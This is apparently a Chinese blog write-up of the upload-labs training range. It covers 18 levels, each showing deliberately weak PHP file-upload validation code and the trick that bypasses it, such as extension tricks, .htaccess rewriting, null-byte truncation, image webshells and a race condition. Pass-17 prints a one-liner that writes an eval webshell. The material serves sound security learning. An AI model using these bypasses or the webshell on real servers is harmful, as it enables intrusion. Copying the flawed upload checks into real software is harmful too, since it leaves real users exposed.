upload-labs闯关笔记

其他 2020-10-03 17:45:12 阅读次数: 0

文章目录

readme

项目地址: https://github.com/c0ny1/upload-labs

BUU靶场环境地址:https://buuoj.cn/challenges#Upload-Labs-Linux

upload-labs是一个使用php语言编写的，专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关，每一关都包含着不同上传方式。

环境要求

配置项 配置 描述
操作系统 Window or Linux 推荐使用Windows，除了Pass-19必须在linux下，其余Pass都可以在Windows上运行
PHP版本 推荐5.2.17 其他版本可能会导致部分Pass无法突破
PHP组件 php_gd2,php_exif 部分Pass依赖这两个组件
中间件 设置Apache以moudel方式连接

在这里插入图片描述
在这里插入图片描述

闯关笔记

Pass-01：前端验证绕过

<script type="text/javascript">
    function checkFile() {
    
    
        var file = document.getElementsByName('upload_file')[0].value;
        if (file == null || file == "") {
    
    
            alert("请选择要上传的文件!");
            return false;
        }
        //定义允许上传的文件类型
        var allow_ext = ".jpg|.png|.gif";
        //提取上传文件的类型
        var ext_name = file.substring(file.lastIndexOf("."));
        //判断上传文件类型是否允许上传
        if (allow_ext.indexOf(ext_name) == -1) {
    
    
            var errMsg = "该文件不允许上传，请上传" + allow_ext + "类型的文件,当前文件类型为：" + ext_name;
            alert(errMsg);
            return false;
        }
    }
</script>

js前端验证，使用禁用js之类的插件，或修改当前页面js代码，或先上传一个图片马然后抓包修改为后缀名php都可

Pass-02：Content-Type绕过

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    
    
    if (file_exists(UPLOAD_PATH)) {
    
    
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
    
    
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];          
            if (move_uploaded_file($temp_file, $img_path)) {
    
    
                $is_upload = true;
            } else {
    
    
                $msg = '上传出错！';
            }
        } else {
    
    
            $msg = '文件类型不正确，请重新上传！';
        }
    } else {
    
    
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建！';
    }
}

只对Content-Type进行了验证，并没有对文件的后缀名进行验证，上传一个shell.php抓包修改Content-Type为可允许上传的类型即可

Pass-03：特殊后缀名解析绕过

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    
    
    if (file_exists(UPLOAD_PATH)) {
    
    
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
    
    
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
    
    
                 $is_upload = true;
            } else {
    
    
                $msg = '上传出错！';
            }
        } else {
    
    
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件！';
        }
    } else {
    
    
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

黑名单机制过滤

一些特殊的后缀名文件可能会被Apache的配置文件httpd.conf当做php来解析

php3 php5 pht phtm phtml ......

尝试将一句话的文件后缀改为如上，看哪个会被解析吧
在这里插入图片描述
在这里插入图片描述

Pass-04：.htaccess绕过

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    
    
    if (file_exists(UPLOAD_PATH)) {
    
    
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
    
    
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
    
    
                $is_upload = true;
            } else {
    
    
                $msg = '上传出错！';
            }
        } else {
    
    
            $msg = '此文件不允许上传!';
        }
    } else {
    
    
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

黑名单机制

过滤了大量后缀名，但是没有过滤.htaccess

.htaccess文件也被称为分布式配置文件，提供了针对目录改变配置的方法，在一个特定的文档目录中放置一个包含一个或者多个指令的文件，以作用于此目录及其所有子目录。

.htaccess可以用于文件密码保护、用户自定义重定向、自定义404页面、扩展名伪静态化、禁止特定ip地址的用户、这个功能默认是不开启的。

首先上传.htaccess文件，内容为：

AddType application/x-httpd-php .jpg

相当于修改httpd.conf将jpg文件作为php文件解析

上传一个图片马即可
在这里插入图片描述

Pass-05：后缀大小写绕过

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    
    
    if (file_exists(UPLOAD_PATH)) {
    
    
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
    
    
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
    
    
                $is_upload = true;
            } else {
    
    
                $msg = '上传出错！';
            }
        } else {
    
    
            $msg = '此文件类型不允许上传！';
        }
    } else {
    
    
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}
?>

黑名单机制
在这里插入图片描述
在这里插入图片描述

Pass-06：文件后缀加空格绕过

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    
    
    if (file_exists(UPLOAD_PATH)) {
    
    
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        
        if (!in_array($file_ext, $deny_ext)) {
    
    
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file,$img_path)) {
    
    
                $is_upload = true;
            } else {
    
    
                $msg = '上传出错！';
            }
        } else {
    
    
            $msg = '此文件不允许上传';
        }
    } else {
    
    
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

黑名单机制

PS：只有当服务器是Windows这种方法才可行

在shell.php后面加个空格即可，Windows的操作系统对文件名后有空格会直接去掉空格当做php文件解析
在这里插入图片描述
在这里插入图片描述

Pass-07：文件后缀加点绕过

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    
    
    if (file_exists(UPLOAD_PATH)) {
    
    
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
    
    
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
    
    
                $is_upload = true;
            } else {
    
    
                $msg = '上传出错！';
            }
        } else {
    
    
            $msg = '此文件类型不允许上传！';
        }
    } else {
    
    
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

黑名单机制

可以使用shell.php.来进行绕过
在这里插入图片描述

Pass-08：::$DATA(Windows文件流绕过)

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    
    
    if (file_exists(UPLOAD_PATH)) {
    
    
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
    
    
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
    
    
                $is_upload = true;
            } else {
    
    
                $msg = '上传出错！';
            }
        } else {
    
    
            $msg = '此文件类型不允许上传！';
        }
    } else {
    
    
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

PS：这种绕过方法只有当服务器是Windows时才能有效

::$DATA(Windows文件流绕过)这里利用到了NTFS交换数据流（ADS），ADS是NTFS磁盘格式的一个特性，在NTFS文件系统下，每个文件都存在许多个数据流，但在windows的资源管理上只能看到主文件

在这里插入图片描述
使用工具NtfsStreamsEditor可以查看在资源管理器中看不到的文件流

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Pass-09：Windows特殊文件名字符忽略绕过

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    
    
    if (file_exists(UPLOAD_PATH)) {
    
    
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
    
    
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
    
    
                $is_upload = true;
            } else {
    
    
                $msg = '上传出错！';
            }
        } else {
    
    
            $msg = '此文件类型不允许上传！';
        }
    } else {
    
    
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

黑名单机制

PS：这种方法只能用于服务器是Windows的情况下

在命名windows的文件时，有有一些特殊字符是不使用的，否则会被windows默认删除，利用这个特性，可以用来绕过一些黑名单

在这里插入图片描述
首先删除了文件名末尾的点、然后文件名全部转化成小写、接着去除文件流、最后又去除了末尾的空格。我们要抓住一点，这里的过滤函数都只是执行一次的，由此我们可以构造23.php. . 首先让其删除末尾的点，然后又删除末尾的空格，最后留下了23.php.与.php进行匹配，明显不符，与之前的后缀名点绕过一样，我们成功绕过。
在这里插入图片描述
在这里插入图片描述
PS：$file_ext = str_ireplace('::$DATA', '', $file_ext);可以使用双写绕过接着用Windows文件流绕过

Pass-10：后缀双写绕过

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    
    
    if (file_exists(UPLOAD_PATH)) {
    
    
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;        
        if (move_uploaded_file($temp_file, $img_path)) {
    
    
            $is_upload = true;
        } else {
    
    
            $msg = '上传出错！';
        }
    } else {
    
    
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

黑名单机制

将黑名单替换为空，导致可用双写绕过黑名单

在这里插入图片描述
在这里插入图片描述

Pass-11：%00截断绕过

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    
    
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
    
    
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
    
    
            $is_upload = true;
        } else {
    
    
            $msg = '上传出错！';
        }
    } else{
    
    
        $msg = "只允许上传.jpg|.png|.gif类型文件！";
    }
}

白名单机制

$save_path路径名可控，使用%00绕过白名单

%00实际上就是十六进制的0x00,就是表示ASCII码值为0，有些函数在处理这个字符的时候会把这个当做结束符。
在这里插入图片描述
构造example.php%00.jpg绕过白名单，并且%00截断处理后得到example.php

在这里插入图片描述

Pass-12：POST 0x00截断绕过

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    
    
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
    
    
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
    
    
            $is_upload = true;
        } else {
    
    
            $msg = "上传失败";
        }
    } else {
    
    
        $msg = "只允许上传.jpg|.png|.gif类型文件！";
    }
}

白名单机制

和上一关没什么区别，就是把GET路径传参改为POST传参

在这里插入图片描述
抓包在路径上附上example.phpa这加a是为了修改a的hex值为00截断
使服务器存储的这个文件为example.php

在这里插入图片描述

Pass-13：文件头检测绕过

function getReailFileType($filename){
    
    
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){
    
          
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    
    
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
    
    
        $msg = "文件未知，上传失败！";
    }else{
    
    
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
    
    
            $is_upload = true;
        } else {
    
    
            $msg = "上传出错！";
        }
    }
}

白名单机制

但是只检查了2字节的数据，可以使用图片马即可绕过

在这里插入图片描述
接着使用include.php对上传的图片马进行文件包含

在这里插入图片描述

Pass-14：图片马绕过getimagesize

function isImage($filename){
    
    
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
    
    
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)>=0){
    
    
            return $ext;
        }else{
    
    
            return false;
        }
    }else{
    
    
        return false;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    
    
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
    
    
        $msg = "文件未知，上传失败！";
    }else{
    
    
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){
    
    
            $is_upload = true;
        } else {
    
    
            $msg = "上传出错！";
        }
    }
}

白名单机制

getimagesize()函数用于获取图像大小及相关信息，成功返回一个数组，失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。
如果不能访问 filename 指定的图像或者其不是有效的图像，getimagesize() 将返回 FALSE 并产生一条 E_WARNING 级的错误。
所以这里制作一个完整的图片马即可上传绕过。
在这里插入图片描述

Pass-15：php_exif模块图片类型绕过

function isImage($filename){
    
    
    //需要开启php_exif模块
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
    
    
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    
    
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
    
    
        $msg = "文件未知，上传失败！";
    }else{
    
    
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
        if(move_uploaded_file($temp_file,$img_path)){
    
    
            $is_upload = true;
        } else {
    
    
            $msg = "上传出错！";
        }
    }
}

白名单机制
exif_imagetype()读取一个图像的第一个字节并检查其签名。
本函数可用来避免调用其它exif函数用到了不支持的文件类型上或和$_SERVER[‘HTTP_ACCEPT’]结合使用来检查浏览器是否可以显示某个指定的图像。
还是检查图片，上传图片马进行文件包含即可

Pass-16：二次渲染绕过

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    
    
    // 获得上传文件的基本信息，文件名，类型，大小，临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=UPLOAD_PATH.'/'.basename($filename);

    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);

    //判断文件后缀与类型，合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
    
    
        if(move_uploaded_file($tmpname,$target_path)){
    
    
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
    
    
                $msg = "该文件不是jpg格式的图片！";
                @unlink($target_path);
            }else{
    
    
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                //显示二次渲染后的图片（使用用户上传图片生成的新图片）
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
    
    
            $msg = "上传出错！";
        }

    }else if(($fileext == "png") && ($filetype=="image/png")){
    
    
        if(move_uploaded_file($tmpname,$target_path)){
    
    
            //使用上传的图片生成新的图片
            $im = imagecreatefrompng($target_path);

            if($im == false){
    
    
                $msg = "该文件不是png格式的图片！";
                @unlink($target_path);
            }else{
    
    
                 //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                //显示二次渲染后的图片（使用用户上传图片生成的新图片）
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagepng($im,$img_path);

                @unlink($target_path);
                $is_upload = true;               
            }
        } else {
    
    
            $msg = "上传出错！";
        }

    }else if(($fileext == "gif") && ($filetype=="image/gif")){
    
    
        if(move_uploaded_file($tmpname,$target_path)){
    
    
            //使用上传的图片生成新的图片
            $im = imagecreatefromgif($target_path);
            if($im == false){
    
    
                $msg = "该文件不是gif格式的图片！";
                @unlink($target_path);
            }else{
    
    
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                //显示二次渲染后的图片（使用用户上传图片生成的新图片）
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagegif($im,$img_path);

                @unlink($target_path);
                $is_upload = true;
            }
        } else {
    
    
            $msg = "上传出错！";
        }
    }else{
    
    
        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件！";
    }
}

二次渲染：就是根据用户上传的图片，新生成一个图片，将原始图片删除，将新图片添加到数据库中。比如一些网站根据用户上传的头像生成大中小不同尺寸的图像。但是图片的内容是不会变的。所以还是图片马上传即可

Pass-17：条件竞争绕过

开发者在进行代码开发的时候常常倾向于认为代码会以线性的方式执行，而且忽略了并忽视了并行服务器开发执行多个线程。

线程同步机制确保两个及以上的并发进程或线程不同执行某些特定的程序段，也称之为临界区，一般而言我们是上传了文件，上传了但是最后却因为过滤或者因为其他原因被删除了，那么我们可以使用条件竞争，我们实际上是unlink，是和删除文件的函数进行竞争。
就是我们不断发送上传包，然后我们不断地访问那个我们上传去的文件地址，我们就是和服务器删除的函数比手速，我们可以上传一个php然后访问后，有这个php去写一个一句话木马。手速不够快使用burp爆破

<?php $a='<?php @eval($_REQUEST[\'value\'])?>';file_put_contents('1.php',$a)?>

Pass-18：move_uploaded_file()截断

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    
    
    if (file_exists(UPLOAD_PATH)) {
    
    
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        /*
        $file_name = trim($_POST['save_name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        */

        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

        if(!in_array($file_ext,$deny_ext)) {
    
    
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
    
     
                $is_upload = true;
            }else{
    
    
                $msg = '上传出错！';
            }
        }else{
    
    
            $msg = '禁止保存为该类型文件！';
        }

    } else {
    
    
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

在这里插入图片描述
这题和前面的00截断做法一样
在这里插入图片描述
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/mochu7777777/article/details/108687672
今日推荐
周排行
成为C++高手之宏与枚举
在CAD二次开发中使用进度条
Js插件ECharts，HighCharts学习网址整理
Celery提交任务出错(on windows.)
cephfs内核客户端性能追踪
thinkphp中PHPExcel用法
EntityFramework动态组合多排序字段
汇编语言（八）实验9 根据材料编程
安装ubuntu后必须做的事情（对我而言）
JS函数式编程
每日归档
更多
2024-10-22(0)
2024-10-21(0)
2024-10-20(0)
2024-10-19(0)
2024-10-18(0)
2024-10-17(0)
2024-10-16(0)
2024-10-15(0)
2024-10-14(0)
2024-10-13(0)

代码天地 © 2018 codetd.com

境外服务器   最新电视剧2022